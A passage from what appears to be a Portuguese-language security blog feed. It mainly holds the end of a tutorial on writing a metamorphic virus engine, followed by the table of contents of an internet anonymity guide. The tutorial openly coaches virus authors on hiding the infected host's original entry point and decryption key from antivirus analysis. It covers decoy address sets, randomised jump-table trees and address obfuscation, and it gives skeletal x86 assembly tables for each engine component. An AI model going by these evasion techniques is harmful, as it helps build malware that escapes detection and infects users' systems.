&lt;p&gt;Deixe-me dar algumas dicas sobre onde eu acho que o metamorfismo deve ser aplicado. Em primeiro lugar, suponho que você trabalhe em um código de realocação automática; nesse tipo, uma parte do código original é movida para algum lugar no final do arquivo criptografado, assim como o resto do código original. O vírus se insere no local liberado e ao terminar o trabalho descriptografa o código e o coloca de volta. Isso é necessário porque, de outra forma, alguns antivírus inteligentes poderiam encontrar o seguinte: carregue a amostra infectada como um processo de depuração, localize seu handler (se houver) e encontre uma maneira de forçá-lo a retornar ao host. Em seguida, monitore o endereço do retorno dentro da seção de código e, assim, o ponto de entrada original é divulgado. Ao se posicionar sobre a mesma área onde o ponto de entrada original estava, o antivírus não pode assumir que o eip irá de alguma forma &amp;ldquo;escapar&amp;rdquo; daquela área e pular para muito longe significa que esse é o ponto de entrada original. Para obter o ponto de entrada original, ele deve rastrear toda a execução, o que é perigoso e quase impossível para ele, ou fazer a varredura do código em busca de valores. E aí vem nossas instruções metamórficas.&lt;/p&gt;
&lt;p&gt;Então, vamos ver onde o paradigma metamórfico se aplica:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;entrypoint original&lt;/li&gt;
&lt;li&gt;endereço do bloco de código original&lt;/li&gt;
&lt;li&gt;chave de criptografia do código original&lt;/li&gt;
&lt;li&gt;comprimento do pedaço de código original&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Se você é inteligente o suficiente para criar um mecanismo metamórfico para esconder as coisas acima e as instruções que os acessam, é isso!!&lt;br&gt;
Você não precisa metamorfosear coisas como instruções matemáticas comuns e assim por diante. Você tem que se concentrar nas instruções importantes!&lt;/p&gt;
&lt;h2 id=&#34;algumas-dicas&#34;&gt;Algumas dicas&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Dicas adicionais de furtividade&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Como eu disse, você pode querer criar um conjunto dedicado de endereços para cada um dos conceitos metamorfizados (por exemplo, oldEip, endereço do bloco de código, etc.). No entanto, à luz das técnicas acima, apenas um dos vários endereços será realmente usado, enquanto o resto deve ser apenas para chamariz. Para torná-lo perfeito, você não deve deixar em nenhuma circunstância esses valores como 0. Isso seria um erro fatal. Se o antivírus localizar todos os endereços, todo o resto em nosso algoritmo é inútil, porque ele irá desconsiderar todo aquele que seja igual a 0.&lt;/p&gt;
&lt;p&gt;Além disso, você não deve colocar valores aleatórios. Por quê? Um software de antivírus inteligente poderia localizar o eip real de um conjunto de muitos valores apenas verificando qual é maior que o RVA(Relative Virtual Address) da seção de código e menor que o RVA + o tamanho bruto. Para resolver isso, simplesmente faça seu gerador de números aleatórios gerar pequenos números positivos, negue-os se quiser (outra suposição aleatória) e adicione esses randoms ao eip original. Desta forma, todos os endereços terão valores muito semelhantes ao redor do eip rva original.&lt;/p&gt;
&lt;p&gt;Para otimizar um pouco as coisas: não armazene os conjuntos de instruções em algum lugar e apenas mova-os para o local na hora da metamorfose. Basta criar os locais com as instruções já presentes e quando desejar modificar basta trocar dois deles entre eles. Ou toda vez que você quiser mudar apenas troque todos eles entre eles aleatoriamente.&lt;/p&gt;
&lt;p&gt;Como colocar todas essas informações e não se perder em seu próprio código? Isso significa que você sabe exatamente de onde começa e coloca tudo no papel. Então, a Madness Jump Table oferece um lugar muito bom para ocultar dados. Projete a tabela e coloque os endereços entre os saltos. Você pode até inserir algum chamariz lá (como prefixos 0FFh antes dos saltos para fazer o código compilador parecer um fusca velho 👍).&lt;/p&gt;
&lt;p&gt;Criptografe muito bem o core do engine metamórfico. Para isso, sugiro um algoritmo não linear com várias passagens (como um loop infinito). Dentro do engine metamórfico, use um engodo de endereço. Não vou entrar em detalhes com esta técnica, vou apenas apresentá-la brevemente:&lt;/p&gt;
&lt;p&gt;Ao invés de escrever:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;metamorph1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;ebx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;escreva:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;metamorph1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;sub&lt;/span&gt;     &lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;24&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;......&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;     &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;ebx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dessa forma, ao disassemblar seu código, seria muito mais difícil para o analisador entender o que você pensou ali. A última instrução pode aparecer muitas vezes dentro do código.&lt;/p&gt;
&lt;h2 id=&#34;como-codar&#34;&gt;Como codar?&lt;/h2&gt;
&lt;p&gt;Os componentes de um engine metamórfico&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#1-o-gerador-de-endere%c3%a7o&#34; &gt;O gerador de endereço&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#2-o-preenchimento-de-instru%c3%a7%c3%b5es&#34; &gt;O preenchimento de instruções&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#3-o-place-filler&#34; &gt;O place filler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#4-o-handler-da-jump-table&#34; &gt;O handler da jump table&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;1-o-gerador-de-endereço&#34;&gt;1. O gerador de endereço&lt;/h3&gt;
&lt;p&gt;Esta é a parte que move os dados de um endereço para outro. Requer uma tabela como esta:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;AddressTable:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nl&#34;&gt;Ahunk1:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;size1&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_addr11&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;address11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_addr12&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;address12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_addr1x&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;address1x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nl&#34;&gt;Ahunk2:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;size2&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_addr21&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;address21&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_addr22&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;address22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_addr2y&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;address2y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;AhunkN&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;onde cada pedaço é usado para um valor específico (como oldEip ou um endereço de código), e cada addressAB representa locais possíveis dentro da área de dados onde o valor real pode ser armazenado.&lt;/p&gt;
&lt;p&gt;A engine irá analisar cada pedaço, dado seu tamanho, ir em cada endereço (alinhado com o identificador delta, é claro) e preenchê-lo com um valor aleatório ou o valor real, conforme decidir. Exatamente quando o endereço do valor real é decidido, o preenchedor de instrução deve ser chamado diretamente para evitar futuras passagens pelas tabelas. O preenchimento da instrução diz à instrução para endereçar no endereço específico onde os dados reais são colocados.&lt;/p&gt;
&lt;h3 id=&#34;2-o-preenchimento-de-instruções&#34;&gt;2. O preenchimento de instruções&lt;/h3&gt;
&lt;p&gt;Este também precisa de uma tabela, como esta:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;InstructionTable:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nl&#34;&gt;Ihunk1:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;__size&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_instr11&lt;/span&gt;  &lt;span class=&#34;no&#34;&gt;dd&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;instruction11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_byteoffset11&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;onde cada pedaço é correspondente aos pedaços acima. Cada instruçãoAB representa o endereço da instrução que deseja usar um valor (um &lt;code&gt;mov [ebp+oldEip], eax&lt;/code&gt;, por exemplo), e byteoffset representa em qual deslocamento os endereços dos dados devem ser colocados. Por exemplo, neste caso:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;instruction11:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;push&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;ebp&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;oldEip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;edx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;a primeira instrução tem 1 byte de comprimento e a segunda 6 bytes, e o endereço de oldEip é armazenado no quarto byte a partir do endereço da instruction11. Você pode simplesmente calcular esses valores inserindo TurboDebugger, digitando as instruções e, em vez de oldEip, coloque 8888888h e veja em qual byte ele inicia.&lt;/p&gt;
&lt;p&gt;Esta parte da engine recebe o endereço dos dados do gerador de endereço. Em seguida, ele irá para o deslocamento de cada instrução e preencherá no deslocamento de byte adequado o endereço que recebeu. Em seguida, ele escolherá uma das instruções e passará seu número para o preenchedor do lugar.&lt;/p&gt;
&lt;h3 id=&#34;3-o-place-filler&#34;&gt;3. O place filler&lt;/h3&gt;
&lt;p&gt;Esta parte não precisa de outra tabela. Ele simplesmente fragmentará os conjuntos de instruções entre eles, conforme mantido na tabela InstructionTable, e para a instrução a ser executada (conforme recebida do preenchedor de instruções), ele passará esse valor para o handler da jump table.&lt;/p&gt;
&lt;h3 id=&#34;4-o-handler-da-jump-table&#34;&gt;4. O handler da jump table&lt;/h3&gt;
&lt;p&gt;O handler da jump table simplesmente divide entre eles os saltos em cada bloco de salto e então substitui a instrução &lt;code&gt;jmp place&lt;/code&gt; pelo salto apropriado para o endereço que recebeu do preenchedor de local (a instrução a ser executada). Em seguida, para cada call, ele escolherá uma entrada aleatória na árvore da tabela de salto e a preencherá usando esta tabela:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;FinalTable:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nl&#34;&gt;Fhunk1:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;____size&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nf&#34;&gt;_call11&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;db&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;_caller11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;na&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tudo isso configurado, seu código terá em algum lugar dentro dele esta instrução:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;_caller11:&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;StoreEipTree&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A árvore da tabela de salto da loja eip guiará a chamada através da árvore aleatória. Ele finalmente alcançará um proc que conterá um dos muitos conjuntos de instruções que você preparou para colocar um valor em [ebp + oldEip], onde o endereço oldEip será um dos muitos lugares em que você terá que armazenar esse valor.&lt;/p&gt;
&lt;p&gt;Como você pode ver, é muito fácil entender como funciona, à medida que constrói o código metamórfico, mas é muito difícil entender como se você só tiver o disassembler e um monte de tabelas(criptografadas). Observe também que, usando a maneira acima, todos os dados ainda podem passar pelo processo de metamorfose repetidas vezes.&lt;/p&gt;
&lt;h1 id=&#34;palavras-finais&#34;&gt;Palavras finais&lt;/h1&gt;
&lt;p&gt;Obrigado por ter lido até o final, espero que tenha gostado do conteudo e estamos abertos para recomendações e criticas
obrigado novamente e até a proxima&amp;hellip;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/R3tr074&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;R3tr0&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Guia do Anonimato na Internet</title>
        <link>https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/</link>
        <pubDate>Mon, 05 Apr 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-guia-do-anonimato-na-internet/banner.jpg" alt="Featured image of post [PT-BR] Guia do Anonimato na Internet" /&gt;&lt;blockquote&gt;
&lt;p&gt;Sempre que fizermos besteira na vida real, haverá consequências.
Porém na internet isso é bem diferente quando usamos metodos e tecnicas para se tornar anonimo.
Neste post eu quero ensinar os caminhos das pedras para aprender e alcaçar o anonimato na internet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&#34;indice&#34;&gt;Indice&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#indice&#34; &gt;Indice&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#introdu%c3%a7%c3%a3o&#34; &gt;Introdução&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#o-que-%c3%a9-anonimato-e-porque-eu-preciso-disso&#34; &gt;O que é anonimato e porque eu preciso disso?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#anonimato-vs-privacidade&#34; &gt;Anonimato VS privacidade&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#privacidade&#34; &gt;Privacidade&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#anonimato&#34; &gt;Anonimato&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#import%c3%a2ncia-do-tema&#34; &gt;Importância do tema&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#se-mantendo-an%c3%b4nimo&#34; &gt;Se mantendo anônimo&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#vpn&#34; &gt;VPN&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#o-que-%c3%a9-vpn&#34; &gt;O que é vpn?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#casos-de-uso-de-vpn&#34; &gt;Casos de uso de VPN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#cuidados-ao-usar-uma-vpn&#34; &gt;Cuidados ao usar uma vpn&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#vazamento-de-consultas-dns&#34; &gt;Vazamento de consultas DNS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#como-verificar-e-previnir-que-haja-vazamento-de-consultas-dns&#34; &gt;Como verificar e previnir que haja vazamento de consultas DNS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#tor&#34; &gt;TOR&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#o-que-%c3%a9-o-tor&#34; &gt;O que é o tor?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#casos-de-uso-do-tor&#34; &gt;Casos de uso do tor&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#navegador&#34; &gt;Navegador&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#torsocks&#34; &gt;Torsocks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#como-n%c3%a3o-usar-o-tor&#34; &gt;Como não usar o tor&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#proxy&#34; &gt;Proxy&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#o-que-%c3%a9-uma-proxy&#34; &gt;O que é uma proxy?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#casos-de-uso-da-proxy&#34; &gt;Casos de uso da proxy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#redes-sociais&#34; &gt;Redes sociais&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#porque-se-manter-anonimo-nas-redes-sociais&#34; &gt;Porque se manter anonimo nas redes sociais&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#cuidados-ao-usar-redes-sociais&#34; &gt;Cuidados ao usar redes sociais&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#informa%c3%a7%c3%b5es-pessoais&#34; &gt;Informações pessoais&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#seu-endere%c3%a7o-ip&#34; &gt;Seu endereço ip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#pseudonimo&#34; &gt;Pseudonimo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#metadados&#34; &gt;Metadados&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#comunica%c3%a7%c3%a3o-an%c3%b4nima&#34; &gt;Comunicação anônima&lt;/a&gt;
&lt;ul&gt;
